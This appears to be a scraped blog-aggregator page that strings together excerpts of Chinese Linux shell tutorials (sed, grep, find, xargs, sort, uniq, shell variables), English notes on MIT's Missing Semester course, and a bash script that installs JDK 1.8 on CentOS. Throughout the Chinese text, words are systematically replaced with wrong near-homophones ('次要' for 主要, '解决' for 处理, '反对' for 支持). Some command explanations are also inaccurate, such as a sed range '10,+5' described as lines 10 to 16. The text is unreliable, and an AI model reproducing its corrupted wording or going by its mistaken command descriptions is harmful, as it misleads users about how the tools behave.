sed 是 stream editor 的缩写,流编辑器,次要用于对规范输入或文件进行解决。语法: stdout | sed [option] "pattern command"sed [option] "pattern command" file1<!-- more --> 罕用选项(option)# -n 只打印静默模式匹配行,而不输入原行# p 是打印命令➜ sed '/hello/p' helloWorld.sh#!/bin/bashHELLO bashecho "hello world"echo "hello world"➜ sed -n '/hello/p' helloWorld.shecho "hello world"# -e 追加一组编辑命令➜ sed -n -e '/hello/p' -e '/HELLO/p' helloWorld.shHELLO bashecho "hello world"# -f 把所有编辑命令保留在文件中,实用于简单编辑操作➜ cat edit.sed/hello/p➜ sed -n -f edit.sed hello.md# -E (或 -r)反对扩大正则表达式➜ sed -n -E '/hello|HELLO/p' helloWorld.shHELLO bashecho "hello world"# -i 间接批改源文件内容# s 是替换命令# 这里是吧 helloWorld.sh 文件中所有的 hello 改为 hello123sed -n -i 's/hello/hello123/g' helloWorld.sh匹配模式(pattern)匹配模式阐明10command第 10 行10,20command第 10 到 20 行10,+5command第 10 到 16 行/pattern1/command匹配 pattern1 对应的行/pattern1/,/pattern2/command从 pattern1 对应的行开始,到 pattern2 的行10,/pattern1/command从第 10 行开始,到 pattern1 的行/pattern1/,10command从 pattern1 对应的行开始,到第 10 行罕用编辑命令(command)查问 ...

October 16, 2020 · 2 min · jiezi

关于shell:Shell文本处理三剑客之grep

过滤器,次要用于过滤文件内容,查找匹配信息。语法: grep [option] [pattern] [file1,file2...]command | grep [option] [pattern]<!-- more --> 参数(option): -v 不显示匹配信息-i 搜寻时疏忽大小写-n 显示行号-r 递归搜寻(当前目录下所有目录)-E 反对扩大的正则表达式,相当于 egrep 命令-F 不按正则表达式匹配,按字符串字面意思匹配其它 -c 胜利匹配数量-w 匹配整个单词-x 匹配整行-l 只列出匹配的文件名

October 15, 2020 · 1 min · jiezi

关于shell:建议收藏超全的-Linux-Shell-文本处理工具集锦

本文将介绍Linux下应用Shell解决文本时最罕用的工具:find、grep、xargs、sort、uniq、tr、cut、paste、wc、sed、awk;提供的例子和参数都是最罕用和最为实用的;对shell脚本应用的准则是命令单行书写,尽量不要超过2行;如果有更为简单的工作需要,还是思考python吧. 1、find 文件查找查找txt和pdf文件 find . ( -name "*.txt" -o -name "*.pdf" ) -print正则形式查找.txt和pdf find . -regex  ".*(.txt|.pdf)$"#-iregex:疏忽大小写的正则否定参数:查找所有非txt文本 find . ! -name "*.txt" -print指定搜寻深度:打印出当前目录的文件(深度为1) find . -maxdepth 1 -type f定制搜寻 #按类型搜寻:find . -type d -print  //只列出所有目录#按工夫搜寻:-atime 拜访工夫 (单位是天,分钟单位则是-amin,以下相似)-mtime 批改工夫 (内容被批改)-ctime 变动工夫 (元数据或权限变动)最近7天被拜访过的所有文件:find . -atime 7 -type f -print#按大小搜寻:寻找大于2k的文件find . -type f -size +2k#按权限查找:find . -type f -perm 644 -print //找具备可执行权限的所有文件#按用户查找:find . -type f -user weber -print// 找用户weber所领有的文件找到后的后续动作删除: #删除当前目录下所有的swp文件:find . -type f -name "*.swp" -delete#执行动作(弱小的exec)find . -type f -user root -exec chown weber {} ; //将当前目录下的所有权变更为weber注:{}是一个非凡的字符串,对于每一个匹配的文件,{}会被替换成相应的文件名;eg:将找到的文件全都copy到另一个目录:find . -type f -mtime +10 -name "*.txt" -exec cp {} OLD ;联合多个命令tips: 如果须要后续执行多个命令,能够将多个命令写成一个脚本。而后 -exec 调用时执行脚本即可; -exec ./commands.sh {} ;#-print的定界符默认应用' '作为文件的定界符;-print0 应用''作为文件的定界符,这样就能够搜寻蕴含空格的文件;2、grep 文本搜寻grep match_patten file // 默认拜访匹配行 罕用参数: -o 只输入匹配的文本行 VS -v 只输入没有匹配的文本行-c 统计文件中蕴含文本的次数grep -c "text" filename n 打印匹配的行号i 搜寻时疏忽大小写l 只打印文件名在多级目录中对文本递归搜寻(程序员搜代码的最爱): grep "class" . -R -n匹配多个模式 grep -e "class" -e "vitural" filegrep输入以作为结尾符的文件名:(-z) grep "test" file* -lZ| xargs -0 rmxargs 命令行参数转换 xargs 可能将输出数据转化为特定命令的命令行参数;这样,能够配合很多命令来组合应用。比方grep,比方find; 将多行输入转化为单行输入 cat file.txt| xargs是多行文本间的定界符将单行转化为多行输入cat single.txt | xargs -n 3#-n:指定每行显示的字段数xargs参数阐明 -d 定义定界符 (默认为空格 多行的定界符为 )-n 指定输入为多行-I {} 指定替换字符串,这个字符串在xargs扩大时会被替换掉,用于待执行的命令须要多个参数时cat file.txt | xargs -I {} ./command.sh -p {} -1#-0:指定为输出定界符#统计程序行数find source_dir/ -type f -name "*.cpp" -print0 |xargs -0 wc -l3、sort 排序字段阐明: -n 按数字进行排序 VS -d 按字典序进行排序-r 逆序排序-k N 指定按第N列排序sort -nrk 1 data.txtsort -bd data // 疏忽像空格之类的前导空白字符4、uniq 打消反复行打消反复行 sort unsort.txt | uniq统计各行在文件中呈现的次数 sort unsort.txt | uniq -c找出反复行 sort unsort.txt | uniq -d可指定每行中须要比拟的反复内容:-s 开始地位 -w 比拟字符数 ...

October 15, 2020 · 1 min · jiezi

关于shell:Shell编程快速入门

Shell 编程疾速入门编写一个 Shell 脚本 hello.sh #!/bin/bash echo 'hello world!'运行脚本 hello.sh # 办法1 sh hello.sh # 办法2 chmod +x hello.sh ./hello.sh#终端打印出 hello world!Shell 变量根本语法 定义变量:变量名=变量值,等号两侧不能有空格,变量名个别习惯用大写。删除变量:unset 变量名 。申明动态变量:readonly 变量名,动态变量不能unset。应用变量:$变量名$n :$0 代表命令自身、$1-$9 代表第1到9个参数,10以上参数用花括号,如 ${10}。$* :命令行中所有参数,且把所有参数看成一个整体。$@ :命令行中所有参数,且把每个参数辨别看待。$# :所有参数个数。 实例:编写 Shell 脚本 positionPara.sh ,输入命令行输出的各个参数信息。 #!/bin/bash # 输入各个参数 echo $0 $1 $2 echo $* echo $@ echo 参数个数=$#运行positionPara.sh chmod +x positionPara.sh ./positionPara.sh 10 20运行后果 ./positionPara.sh 10 20 10 20 10 20 参数个数=2预约义变量根本语法 ...

October 14, 2020 · 2 min · jiezi

关于shell:Missing-Semester-MIT-1

MIT the missing semester这门课次要会传授一些课堂上不会讲的货色, 比方debug, shell, vim. 刚好国庆假期将近刷题刷烦了, 来学一下, 毕竟vim和gdb还不太纯熟.课程链接: https://missing.csail.mit.edu/ Okay, let's get started!!!. environment variableswhen type echo hello (in any path), you can see hello in your terminal, but how does the system get the echo program working? when ls in current location, we cannt find a program named echo. And the answer behind this magic is envrionment variables. when type:echo $PATH, the following will show up: ...

September 26, 2020 · 4 min · jiezi

关于shell:shell-学习

草稿版变量变量定义注意事项:变量定义=号的两边不能用空格 eg: name=caofeilong将命令的值赋值给一个变量eg: a=date b=$(ls -l) v=$b 变量的应用办法$name 在变量名后面加 $ 符号${name}双引号能够援用变量 单引号间接输入set 列出所有的名称 uset name 删除变量 非凡变量$0 执行的命令$1……$N 变量的参数$* 程序的所有参数$# 程序参数的个数$$ 程序的pid$! 执行上一个指令的程序的pid$? 执行上一个命令的返回值

September 15, 2020 · 1 min · jiezi

关于shell:我写了一个简单的shell脚本用于再CentOS-7服务器上快速安装JDK

我写了一个简略的shell脚本用于再CentOS 7服务器上疾速装置JDK,其余版本的零碎没有试过废话不多说间接上代码用的是华为的JDK镜像 #!/usr/bin/env bashPATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/binexport PATH# Colorred='\033[31m'green='\033[32m'yellow='\033[33m'plain='\033[0m'get_char() { SAVEDSTTY=$(stty -g) stty -echo stty cbreak dd if=/dev/tty bs=1 count=1 2>/dev/null stty -raw stty echo stty $SAVEDSTTY}# 一些阐明clearechoecho -e "${yellow}============================================================${plain}"echo ' System Required: CentOS 7'echo ' Description: Install JDK1.8'echo ' Version: 1.0.0'echo ' Author: Jonsson <yz808@outlook.com>'echo ' Blog: https://blog.csdn.net/y1534414425'echo ' GitHub: https://github.com/jonssonyan'echo -e "${yellow}============================================================${plain}"echoecho "Press any key to start...or Press Ctrl+C to cancel"char=$(get_char)# 判断是否为root用户[[ $EUID -ne 0 ]] && echo -e "[${red}Error${plain}] This script must be run as root!" && exit 1# 判断JDK源文件是否下载过if [ ! -f "./jdk-8u202-linux-x64.tar.gz" ]; then wget https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gzfi# 解压JDK到指定文件夹mkdir -p /usr/local/java && tar -zxvf jdk-8u202-linux-x64.tar.gz -C /usr/local/java# 增加JDK到环境变量chmod 700 /etc/profileecho '#Java Env' >>/etc/profileecho 'export JAVA_HOME=/usr/local/java/jdk1.8.0_202' >>/etc/profileecho 'export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar' >>/etc/profileecho 'export PATH=$PATH:$JAVA_HOME/bin' >>/etc/profilesource /etc/profile# 判断是否为32位零碎bit=$(getconf LONG_BIT)if [ ${bit} -eq 32 ]; then sudo yum install glibc.i686fi# 检测Java是否装置java -versionif [ $? -eq 0 ]; then echo -e "${yellow}============================================================${plain}" echo -e "${green}JDK1.8装置胜利${plain}" echo -e "${yellow}============================================================${plain}"else echo -e "${yellow}============================================================${plain}" echo -e "${red}JDK1.8装置失败,请查看你的配置${plain}" echo -e "${yellow}============================================================${plain}"fi

September 15, 2020 · 1 min · jiezi